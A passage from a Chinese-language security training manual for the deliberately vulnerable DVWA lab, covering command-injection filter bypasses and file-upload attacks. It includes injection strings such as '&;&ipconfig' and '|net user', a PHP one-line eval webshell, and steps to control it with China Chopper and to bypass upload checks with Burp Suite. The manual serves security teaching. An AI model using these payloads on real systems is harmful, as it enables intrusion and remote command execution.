執(zhí)行Command2,否則不執(zhí)行Command2;Command1&Command2:先執(zhí)行Command1,不管是否成功,都會執(zhí)行Command2。由于使用的是str_replace把“&&”、“;”替換為空字符,因此可以采用以下方式繞過:&;&ipconfig。因?yàn)椤?;&ipconfig”中的“;”會被替換為空字符,這樣一來就變成了“&&ipconfig”,會成功執(zhí)行。命令注入-HighDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇High安全級別。服務(wù)器端代碼,可以看到,相比Medium級別的代碼,High級別的代碼進(jìn)一步完善了黑名單,但由于黑名單機(jī)制的局限性,我們依然可以繞過。黑名單看似過濾了所有的非法字符,但仔細(xì)觀察到是把“|”替換為空字符,于是“|”成了“漏網(wǎng)之魚”。執(zhí)行|netuser,輸出兩條命令的結(jié)果。Command1|Command2:“|”是管道符,表示將Command1的輸出作為Command2的輸入,并且只打印Command2執(zhí)行的結(jié)果??偨Y(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是關(guān)于命令注入的操作過程,主要內(nèi)容包括:命令注入的相關(guān)函數(shù)命令注入的利用方式命令注入的繞過方法思考題問題1:命令注入連接命令&&netuser的輸出?問題2:命令注入連接命令&netuser的輸出?問題3:命令注入連接命令||netuser的輸出?問題4:命令注入連接命令|netuser的輸出?文件上傳實(shí)訓(xùn)說明實(shí)訓(xùn)目的1.掌握常見文件上傳的繞過方式。2.掌握文件上傳的解析漏洞。3.掌握利用文件上傳獲得webshell的步驟。背景知識1.掌握文件上傳的基本原理。2.掌握文件上傳的分類和判斷。3.掌握文件上傳的基本防御。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材Win7虛擬機(jī)網(wǎng)絡(luò)結(jié)構(gòu)Win7虛擬機(jī)(33)本實(shí)驗(yàn)中需要依賴網(wǎng)絡(luò),請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP,使學(xué)員能夠訪問Win7虛擬機(jī)即可,實(shí)驗(yàn)環(huán)境ip以實(shí)際網(wǎng)絡(luò)為準(zhǔn)。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動Windows7虛擬機(jī)。輸入密碼【shiyan】登錄系統(tǒng)。啟動phpstudy,打開Apache和MySQL服務(wù)。登錄DVWA在瀏覽器輸入/DVWA/login.php,轉(zhuǎn)到DVWA的登錄頁面,使用用戶名admin,密碼111111進(jìn)行登錄。文件上傳-LowDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Low安全級別。可以看到,服務(wù)器對上傳文件的類型、內(nèi)容沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,生成上傳路徑后,服務(wù)器會檢查是否上傳成功并返回相應(yīng)提示信息。文件上傳漏洞的利用是有限制條件的,首先當(dāng)然是要能夠成功上傳木馬文件,其次上傳文件必須能夠被執(zhí)行,最后就是上傳文件的路徑必須可知。不幸的是,這里三個(gè)條件全都滿足。上傳文件hack.php(一句話木馬),代碼如下。<?php@eval($_POST['hack']);?>所有的字符串串放入到eval()中,eval()會把字符串解析為php代碼進(jìn)行執(zhí)行,結(jié)合$_POST['hack'],只要使用post傳輸時(shí)在hack的值中寫入任何字符串,都可以當(dāng)做php代碼執(zhí)行。上傳成功并回顯了hack.php的文件路徑。打開中國菜刀(Cknife.jar),右鍵添加,地址欄填入上傳文件所在路徑/DVWA/hackable/uploads/hack.php。訪問關(guān)鍵字為hack,腳本類型為php,編碼為GB2312。中國菜刀會通過向服務(wù)器發(fā)送包含hack參數(shù)的post請求,在服務(wù)器上執(zhí)行任意命令,獲取webshell權(quán)限。文件上傳-MediumDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Medium安全級別。Medium級別的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小不能超過100000B(約為97.6KB)。將hack.php改名為hack.png提交后,使用burpsuite攔截請求,重新把文件名修改為hack.php。上傳成功。文件上傳-HighDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇High安全級別??梢钥吹?,High級別的代碼讀取文件名中最后一個(gè)“.”后的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是“*.jpg”、“*.jpeg”、“*.png”之一。同時(shí),getimagesize函數(shù)更是限制了上傳文件的文件頭必須為圖像類型。strrpos(string,find,start)查找find字符在string字符中的最后一次出現(xiàn)的位置,start參數(shù)可選,表示指定從哪里開始。substr(string,start,length)返回string字符中從start開始的字符串,length參數(shù)可選,表示返回字符的長度。strtolower(string)返回給定字符串的小寫。getimagesize(string):函數(shù)將測定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,I
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 廣東體育職業(yè)技術(shù)學(xué)院《審計(jì)學(xué)實(shí)驗(yàn)》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東司法警官職業(yè)學(xué)院《數(shù)字視頻制作》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東食品藥品職業(yè)學(xué)院《光信息處理》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東省外語藝術(shù)職業(yè)學(xué)院《基礎(chǔ)閱讀(一)》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東輕工職業(yè)技術(shù)學(xué)院《建筑施工》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東茂名健康職業(yè)學(xué)院《體育舞蹈專項(xiàng)理論與實(shí)踐(6)》2023-2024學(xué)年第一學(xué)期期末試卷
- 廣東茂名農(nóng)林科技職業(yè)學(xué)院《修建性詳細(xì)規(guī)劃》2023-2024學(xué)年第一學(xué)期期末試卷
- 四年級數(shù)學(xué)(簡便運(yùn)算)計(jì)算題專項(xiàng)練習(xí)與答案
- 【2022屆走向高考】高三數(shù)學(xué)一輪(人教A版)階段性測試題12(綜合素質(zhì)能力測試)
- 2021年高考英語考點(diǎn)總動員系列-專題10-交際用語(解析版)
- 2024年1月國開電大法律事務(wù)??啤镀髽I(yè)法務(wù)》期末考試試題及答案
- 2024全國能源行業(yè)火力發(fā)電集控值班員理論知識技能競賽題庫(多選題)
- 因式分解(分組分解法)專項(xiàng)練習(xí)100題及答案
- 冶煉煙氣制酸工藝設(shè)計(jì)規(guī)范
- 《上帝擲骰子嗎:量子物理史話》超星爾雅學(xué)習(xí)通章節(jié)測試答案
- Unit13 同步教學(xué)設(shè)計(jì)2023-2024學(xué)年人教版九年級英語全冊
- 2023-2024學(xué)年河北省保定市滿城區(qū)八年級(上)期末英語試卷
- 2024成都中考數(shù)學(xué)第一輪專題復(fù)習(xí)之專題四 幾何動態(tài)探究題 教學(xué)課件
- 2024合同范本之太平洋保險(xiǎn)合同條款
- 萬用表的使用
- 合伙經(jīng)營合作社協(xié)議書
評論
0/150
提交評論